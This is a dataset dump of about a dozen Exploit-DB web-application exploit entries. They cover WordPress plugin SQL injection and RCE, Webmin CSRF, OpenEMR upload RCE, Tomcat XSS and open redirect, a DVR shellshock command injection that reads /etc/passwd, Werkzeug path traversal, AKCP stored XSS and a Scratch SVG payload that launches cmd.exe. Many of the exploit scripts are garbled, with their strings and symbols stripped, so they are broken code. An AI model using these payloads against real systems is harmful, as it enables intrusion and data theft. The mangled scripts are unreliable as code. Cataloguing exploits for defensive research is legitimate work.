QLWD/code_shield huggingface dataset:
标题: WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated) EDB-ID: 50137 CVE: 2020-6010 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-19 漏洞利用脚本: # Exploit Title: WordPress Plugin LearnPress 3.2.6.7 - 'current_items' SQL Injection (Authenticated)
# Date: 07-17-2021
# Exploit Author: nhattruong or nhattruong.blog
# Vendor Homepage: https://thimpress.com/learnpress/
# Software Link: https://wordpress.org/plugins/learnpress/
# Version: < 3.2.6.8
# References link: https://wpscan.com/vulnerability/10208
# CVE: CVE-2020-6010

POC:
1. Go to url http://<host>/wp-admin
2. Login with a cred
3. Execute the payload


POST /wordpress/wp-admin/post-new.php?post_type=lp_order HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/plain, */*
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://localhost/wordpress/wp-admin/post-new.php?post_type=lp_order
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 128
Origin: http://localhost
Connection: close
Cookie: wordpress_bbfa5b726c6b7a9cf3cda9370be3ee91=test%7C1626703944%7Ch5yJTmZF2VUp6nuZHvt3WpWHJOGpYRUwaDfRNLd8N3x%7Cf0e96afd20e39e4531756b321160a4929f82f20a3fed8d3c3b682e0ece232e08; wordpress_test_cookie=WP+Cookie+check; wp_learn_press_session_bbfa5b726c6b7a9cf3cda9370be3ee91=80e1cb27266ae862f9e71f90a987f260%7C%7C1626703938%7C%7Cbd6b88d1ae5fd4354f09534ad4971bbc; wordpress_logged_in_bbfa5b726c6b7a9cf3cda9370be3ee91=test%7C1626703944%7Ch5yJTmZF2VUp6nuZHvt3WpWHJOGpYRUwaDfRNLd8N3x%7Ce1092ef2869397bd9701ca7f1c6d0399c89459f5221db89c48a53b39b3e8cc2f; wp-settings-time-3=1626531145

type=lp_course&context=order-items&context_id=32&term=+test&paged=1&lp-ajax=modal_search_items&current_items[]=1 or sleep(1)-- -

# Modify current_items[] as you want URL: https://www.exploit-db.com/exploits/50137
标题: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF) EDB-ID: 50126 CVE: 2021-31762 类型: WEBAPPS 平台: LINUX 发布日期: 2021-07-14 漏洞利用脚本: # Exploit Title: Webmin 1.973 - 'save_user.cgi' Cross-Site Request Forgery (CSRF)
# Date: 24/04/2021
# Exploit Author: *Mesh3l_911 & Z0ldyck
# Vendor Homepage: https://www.webmin.com
# Repo Link: https://github.com/Mesh3l911/CVE-2021-31762
# Version: Webmin 1.973
# Tested on: All versions <= 1.973
# CVE : CVE-2021-31762
# POC: https://youtu.be/qCvEXwyaF5U


import time, subprocess

print('''\033[1;37m

 __  __           _     ____  _          _________  _     _            _    
|  \/  |         | |   |___ \| |        |___  / _ \| |   | |          | |   
| \  / | ___  ___| |__   __) | |           / / | | | | __| |_   _  ___| | __
| |\/| |/ _ \/ __| '_ \ |__ <| |          / /| | | | |/ _` | | | |/ __| |/ /
| |  | |  __/\__ \ | | |___) | |  _ _    / /_| |_| | | (_| | |_| | (__|   < 
|_|  |_|\___||___/_| |_|____/|_| (_|_)  /_____\___/|_|\__,_|\__, |\___|_|\_/
                                                             __/ |          
                                                            |___/           

    \033[1;m'''

 i  
    
        
            i  end
    timesleep


target  
    

 targetendswith
    target  target  

    target  target  


 
        POC
        POCwrite \
            target
    POCclose

    
        



 
    CSRF_Generator


 __name__  
    main URL: https://www.exploit-db.com/exploits/50126
标题: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2) EDB-ID: 50122 CVE: 2018-15139 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-13 漏洞利用脚本: # Title: OpenEMR 5.0.1.3 - 'manage_site_files' Remote Code Execution (Authenticated) (2)
# Exploit author: noraj (Alexandre ZANNI) for SEC-IT (http://secit.fr)
# Date: 2021-07-05
# Vendor Homepage: https://www.open-emr.org/
# Software Link: https://github.com/openemr/openemr/archive/v5_0_1_3.tar.gz
# Docker PoC: https://github.com/sec-it/exploit-CVE-2018-15139/blob/master/docker-compose.yml
# Version: < 5.0.1.4 (it means up to 5.0.1.3)
# Tested on: OpenEMR Version 5.0.0.8
# References: https://www.exploit-db.com/exploits/49998
# CVE: CVE-2018-15139
# CWE: CWE-434
# Patch: https://github.com/openemr/openemr/pull/1757/commits/c2808a0493243f618bbbb3459af23c7da3dc5485



 
 
 
 

doc  
        upload   command execution

   httpsgithubcomsecitexploit

  
    
    

  
    url         base path including  scheme port  root folder
    filename   of the shell to be uploaded
    username   of the admin
    password   of the admin
    debug      arguments
    h help   this screen

  
    
    


 root_url user pass http
  vuln_url  
  params  
      
      
      user
      pass
      
  

  httpvuln_url form paramsbodyto_s


 root_url filepath http
  vuln_url  
  pn  filepath

  params  
    form_image 
      content_type 
      filename pnbasenameto_s
      body pn
    
    bn_save 
  

  res  httpvuln_url form params

     includeresstatus

  



  args  doc
  pp args  args

   args
    http  
    args args args http
    puts args args http
  
   e
  puts emessage URL: https://www.exploit-db.com/exploits/50122
标题: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS) EDB-ID: 50119 CVE: 2019-0221 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-13 漏洞利用脚本: # Exploit Title: Apache Tomcat 9.0.0.M1 - Cross-Site Scripting (XSS)
# Date: 05/21/2019
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.17, 8.5.0 to 8.5.39, and 7.0.0 to 7.0.93
# CVE : CVE-2019-0221

# Requirements:

# SSI support must be enabled within Apache Tomcat. SSI support is not enabled by default.

# A file (usually "*.shtml") with the "printenv" SSI directive must exist within the web application.

# The file must be accessible.



# Proof of Concept:

# Install a Java Runtime Environment (JRE)

# Download a vulnerable version of Tomcat and extract the contents

# Modify line 19 of the conf\context.xml file to globally enable privileged context
Context privileged="true">

# Modify conf\web.xml to enable the SSI Servlet as per the Apache Tomcat User Guide

# Put the following code in "webapps/ROOT/ssi/printenv.shtml"
<html>
  <body>
    Echo: <!-- #echo var="QUERY_STRING_UNESCAPED" --> <br/> <br/>
    Printenv: <!-- #printenv -->
  </body>
</html>

# Run Tomcat
cd bin
catalina run

# Call the following URLs to observe the XSS. You may need to use FireFox. Observe the difference between the "echo" directive which escapes properly and the "printenv" directive which does not escape properly
http://localhost:8080/ssi/printenv.shtml?%3Cbr/%3E%3Cbr/%3E%3Ch1%3EXSS%3C/h1%3E%3Cbr/%3E%3Cbr/%3E
http://localhost:8080/printenv.shtml?%3Cscript%3Ealert(%27xss%27)%3C/script%3E URL: https://www.exploit-db.com/exploits/50119
标题: Apache Tomcat 9.0.0.M1 - Open Redirect EDB-ID: 50118 CVE: 2018-11784 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-13 漏洞利用脚本: # Exploit Title: Apache Tomcat 9.0.0.M1 - Open Redirect
# Date: 10/04/2018
# Exploit Author: Central InfoSec
# Version: Apache Tomcat 9.0.0.M1 to 9.0.0.11, 8.5.0 to 8.5.33, and 7.0.23 to 7.0.90
# CVE : CVE-2018-11784

# Proof of Concept:

# Identify a subfolder within your application
http://example.com/test/

# Modify the URL to include at least 2 leading slashes before the subfolder and no trailing slash
http://example.com//test

# Browse to the newly created URL and the application will perform a redirection
http://test/ URL: https://www.exploit-db.com/exploits/50118
标题: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2) EDB-ID: 50110 CVE: 2018-15877 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-07 漏洞利用脚本: # Exploit Title: WordPress Plugin Plainview Activity Monitor 20161228 - Remote Code Execution (RCE) (Authenticated) (2)
# Date: 07.07.2021
# Exploit Author: Beren Kuday GORUN
# Vendor Homepage: https://wordpress.org/plugins/plainview-activity-monitor/
# Software Link: https://www.exploit-db.com/apps/2e1f384e5e49ab1d5fbf9eedf64c9a15-plainview-activity-monitor.20161228.zip
# Version: 20161228 and possibly prior
# Fixed version: 20180826
# CVE : CVE-2018-15877

"""
-------------------------
Usage:
┌──(root@kali)-[~/tools]
└─# python3 WordPress-Activity-Monitor-RCE.py
What's your target IP?
192.168.101.28
What's your username?
mark
What's your password?
password123
[*] Please wait...
[*] Perfect! 
www-data@192.168.101.28  whoami
www-data
www-data@192.168.101.28  pwd
/var/www/html/wp-admin
www-data@192.168.101.28  id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
"""

 requests
 bs4  BeautifulSoup

 whoami ip
  
  cmd  whoamiip
  url    ip  
  payload    cmd
  data   payload     
  x  requestsposturl data  data cookiesgetCookieip
  html_doc  xtextsplit
  soup  BeautifulSouphtml_doc 
  soupptext

 ip
 url    ip  
 myobj       
 x  requestsposturl data  myobj cookiesgetCookieip
 html_doc  xtextsplit
 soup  BeautifulSouphtml_doc 
 
 exploitsoupptext ip

 ip
 url    ip  
 
 data  username password  
 x  requestsposturl data  data
 cookies  
 cookie  xheaders

  i  cookiesplit
  ifind    ifind  
   cookiesisplit  isplitisplit
  cookies

ip  
username  
password  

pocip URL: https://www.exploit-db.com/exploits/50110
标题: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated) EDB-ID: 50098 CVE: 2021-42071 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-06 漏洞利用脚本: # Exploit Title: Visual Tools DVR VX16 4.2.28.0 - OS Command Injection (Unauthenticated)
# Date: 2021-07-05
# Exploit Author: Andrea D'Ubaldo
# Vendor Homepage: https://visual-tools.com/
# Version: Visual Tools VX16 v4.2.28.0
# Tested on: VX16 Embedded Linux 2.6.35.4.
# CVE: CVE-2021-42071
# Reference: https://www.swascan.com/security-advisory-visual-tools-dvr-cve-2021-42071/

# An unauthenticated remote attacker can inject arbitrary commands to CGI script that can result in remote command execution.

curl -H 'User-Agent: () { :; }; echo ; echo ; /bin/cat /etc/passwd' bash -s :'' http:/DVR_ADDR/cgi-bin/slogin/login.py URL: https://www.exploit-db.com/exploits/50098
标题: Pallets Werkzeug 0.15.4 - Path Traversal EDB-ID: 50101 CVE: 2019-14322 类型: WEBAPPS 平台: PYTHON 发布日期: 2021-07-06 漏洞利用脚本: # Exploit Title: Pallets Werkzeug 0.15.4 - Path Traversal
# Date: 06 July 2021
# Original Author: Emre ÖVÜNÇ
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://palletsprojects.com/
# Software Link: https://github.com/pallets/werkzeug
# Version: Prior to 0.15.5
# Tested on: Windows Server
# CVE: 2019-14322
# Credit: Emre Övünç and Olivier Dony for responsibly reporting the issue
# CVE Link: https://nvd.nist.gov/vuln/detail/CVE-2019-14322
# Reference : https://palletsprojects.com/blog/werkzeug-0-15-5-released/

Description : Prior to 0.15.5, it was possible for a third party to potentially access arbitrary files when the application used SharedDataMiddleware on Windows. Due to the way Python's os.path.join() function works on Windows, a path segment with a drive name will change the drive of the final path TLDR In Pallets Werkzeug before  SharedDataMiddleware mishandles drive names such  C  Windows pathnames lead to arbitrary  download





 argparse
 urllib3
urllib3disable_warningsurllib3exceptionsInsecureRequestWarning
 requests
 colorama  Fore Back Style init


red  
green  
white  
yellow  
bold  
end  

initautoreset

 
    ForeCYAN StyleBRIGHT   bold red white yellow white end

banner_motd



































 url

 
  endpoint  
    
   
   
   
  

   url2  endpointurl
   resp  requestsgeturl2 verify timeout
   
          resptext
    ForeLIGHTGREEN_EX StyleBRIGHT  url2 
        output
     outputwriteurl2
     outputclose

   
     url 

   KeyboardInterrupt
   exit
  
    url 


 args

    f  listfile 
     w  f
        url  wstrip
            
        checkurl
    
 __name__  

    

        parser  argparseArgumentParserdescription
        parseradd_argumentrequired   
        args  parserparse_args
        listfile  argstargetlist

        mainargs

     KeyboardInterrupt
        exit URL: https://www.exploit-db.com/exploits/50101
标题: Wordpress Plugin Backup Guard 1.5.8 - Remote Code Execution (Authenticated) EDB-ID: 50093 CVE: 2021-24155 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-05 漏洞利用脚本: # Exploit Title: Wordpress Plugin Backup Guard 1.5.8 - Remote Code Execution (Authenticated)
# Date 02.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://backup-guard.com/products/backup-wordpress
# Software Link: https://downloads.wordpress.org/plugin/backup.1.5.8.zip
# Version: Before 1.6.0
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24155
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24155/README.md

'''
Description:
The plugin did not ensure that the imported files are of the SGBP format and extension,
allowing high privilege users (admin+) to upload arbitrary files, including PHP ones, leading to RCE.
Additional Info, and Bypass of .htaccess protection found by WPScanTeam, while confirming the issue:
There is a protection in place against accessing the uploaded files,
via a .htaccess in the wp-content/uploads/backup-guard/ folder, however:
    - Some web servers do not support .htaccess, e.g Nginx, making it useless in such case
    - Arbitrary content can be appended to the existing .htaccess, to make the deny from all invalid,
      and bypass the protection on web servers such as Apache

Note: v1.6.0 forced the uploaded file to have the .sgbp extension by adding it if not present,
but the file content is not verified, which could still allow chaining with an issue
such as LFI or Arbitrary File Renaming to achieve RCE
'''



banner  
banner



 requests
 argparse



my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD



session  requestsSession
auth_url    target_ip    target_port  wp_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     




auth  sessionpostauth_url headersheader databody
auth_header  authheaders
   auth_header
    

    
    exit




token_url    target_ip    target_port  wp_path  


header  
     
     
     
     
       target_ip    target_port  wp_path  
     
     





token_url    target_ip    target_port  wp_path  
init_url    target_ip    target_port  wp_path  
init_request  sessiongetinit_urltext
token_request  sessiongettoken_urltext
token_start_in  token_requestfind
token_start_in  token_requesttoken_start_in  
token  token_start_intoken_start_infind
  token





exploit_url    target_ip    target_port  wp_path    token


header  
     
     
     
     
       target_ip    target_port  wp_path  
     
     
       target_ip
     



body  


sessionpostexploit_url headersheader databody

  target_ip    target_port  wp_path URL: https://www.exploit-db.com/exploits/50093
标题: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated) EDB-ID: 50084 CVE: 2021-24146 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-02 漏洞利用脚本: # Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Event export (Unauthenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24146
# CWE: CWE-863, CWE-284
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24146/README.md

'''
Description:
Lack of authorisation checks in the Modern Events Calendar Lite WordPress plugin,
versions before 5.16.5, did not properly restrict access to the export files,
allowing unauthenticated users to exports all events data in CSV or XML format for example.
'''



banner  
banner



 requests
 argparse
 csv


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH






exploit_url    target_ip    target_port  wp_path  
answer  requestsgetexploit_url
decoded_content  answercontentdecode
cr  csvreaderdecoded_contentsplitlines delimiter
my_list  cr
 row  my_list
    row URL: https://www.exploit-db.com/exploits/50084
标题: Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated) EDB-ID: 50082 CVE: 2021-24145 类型: WEBAPPS 平台: PHP 发布日期: 2021-07-02 漏洞利用脚本: # Exploit Title: Wordpress Plugin Modern Events Calendar 5.16.2 - Remote Code Execution (Authenticated)
# Date 01.07.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://webnus.net/modern-events-calendar/
# Software Link: https://downloads.wordpress.org/plugin/modern-events-calendar-lite.5.16.2.zip
# Version: Before 5.16.5
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-24145
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-24145/README.md

'''
Description:
Arbitrary file upload in the Modern Events Calendar Lite WordPress plugin, versions before 5.16.5,
did not properly check the imported file, allowing PHP ones to be uploaded by administrator by using the 'text/csv'
content-type in the request.
'''



banner  
banner


 requests
 argparse


my_parser  argparseArgumentParserdescription
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
my_parseradd_argument  
args  my_parserparse_args
target_ip  argsIP
target_port  argsPORT
wp_path  argsPATH
username  argsUSERNAME
password  argsPASSWORD



session  requestsSession
auth_url    target_ip    target_port  wp_path  


header  
     target_ip
     
     
     
     
     
       target_ip
     
     



body  
     username
     password
     
     




auth  sessionpostauth_url headersheader databody
auth_header  authheaders
   auth_header
    

    
    exit



exploit_url    target_ip    target_port  wp_path  


header  
     
     
     
     
     
       target_ip
     
     



body  


sessionpostexploit_url headersheader databody

    target_ip    target_port  wp_path URL: https://www.exploit-db.com/exploits/50082
标题: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS) EDB-ID: 50080 CVE: 2021-35956 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-07-02 漏洞利用脚本: # Exploit Title: AKCP sensorProbe SPX476 - 'Multiple' Cross-Site Scripting (XSS)
# Date: 07-01-2021
# Exploit Author: Tyler Butler
# Vendor Homepage: https://www.akcp.com/
# Software Link: https://www.akcp.com/support-center/customer-login/sensorprobe-series-firmware-download/
# Advisory: https://tbutler.org/2021/06/28/cve-2021-35956
# Version: < SP480-20210624
# CVE: CVE-2021-35956

# Description: Stored cross-site scripting (XSS) in the embedded webserver of AKCP sensorProbe before SP480-20210624 enables remote authenticated attackers to introduce arbitrary JavaScript via the Sensor Description, Email (from/to/cc), System Name, and System Location fields.


1) Stored Cross-Site Scripting via System Settings  

POST /system?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 114
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/system?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

_SA01=System+Namer&_SA02=RDC&_SA03=Name<svg/onload=alert`xss`>&_SA04=1&_SA06=0&_SA36=0&_SA37=0&sbt1=Save

2) Stored Cross-Site Scripting via Email Settings  

POST /mail?time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 162
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/mail?time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close


_PS03=test@test.com&_PS04=test@test.com&_PS05_0=test@test.com&_PS05_1=test@test.comr&_PS05_3=<svg/onload=alert`xxss`>&_PS05_4=&sbt2=Save

3) Stored Cross-Site Scripting via Sensor Description

POST /senswatr?index=0&time=32e004c941f912 HTTP/1.1
Host: [target]
Content-Length: 55
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://[target]
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://[target]/senswatr?index=0&time=32e004c941f912
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: CPCookie=sensors=400
Connection: close

_WT00-IX="><svg/onload=alert`xss`>&_WT03-IX=2&sbt1=Save URL: https://www.exploit-db.com/exploits/50080
标题: Scratch Desktop 3.17 - Remote Code Execution EDB-ID: 50079 CVE: 2020-7750 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2021-07-02 漏洞利用脚本: # Exploit Title: Scratch Desktop 3.17 - Cross-Site Scripting/Remote Code Execution (XSS/RCE)
# Google Dork: 'inurl:"/projects/editor/?tutorial=getStarted" -mit.edu' (not foolproof on versioning)
# Date: 2021-06-18
# Exploit Author: Stig Magnus Baugstø
# Vendor Homepage: https://scratch.mit.edu/
# Software Link: https://web.archive.org/web/20210225011334/https://downloads.scratch.mit.edu/desktop/Scratch%20Desktop%20Setup%203.10.2.exe
# Version: 3.10.2
# Tested on: Windows 10 x64, but should be platform independent.
# CVE: CVE-2020-7750

Scratch cross-site scripting (XSS) & Scratch Desktop remote code execution (XSS/RCE) <3.17.1 / scratch-svg-renderer <0.2.0-prerelease.20201019174008

CVE-2020-7750 was disclosed on Scratch's official forums on 21th of October 2020 by the forum user apple502j. The forum thread describes a cross-site scripting (XSS) vulnerability in Scratch and Scratch Desktop prior to 3.17.1: https://scratch.mit.edu/discuss/topic/449794/

You can exploit the vulnerability by uploading a SVG (*.svg) file WITHOUT the viewBox attribute and embedding a malicious event handler. Example:

 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image href="doesNotExist.png" onerror="<INSERT JS PAYLOAD>" />
 </svg>

The malicious SVG can be uploaded as a sprite or stored within a Scratch project file (*.sb3), which is a regular ZIP archive by the way.

Example of regular cross-site scripting (XSS):

 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image href="doesNotExist.png" onerror="alert('Pwned!')" />
 </svg>

The Scratch Desktop versions runs on Electron where the exploit can be used for remote code execution (RCE):

 <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <image href="doesNotExist.png" onerror="require('electron').shell.openExternal('cmd.exe')" />
 </svg>

The example above launches cmd.exe (Command Prompt) on Windows.

For a full walkthrough and explanation of the exploit, please see the following blog post by the exploit's author: https://www.mnemonic.no/blog/exploiting-scratch-with-a-malicious-image/

Note that the author of this exploit does not take credit for finding the vulnerability. The vulnerability was disclosed by user apple502j on Scratch's official forums. URL: https://www.exploit-db.com/exploits/50079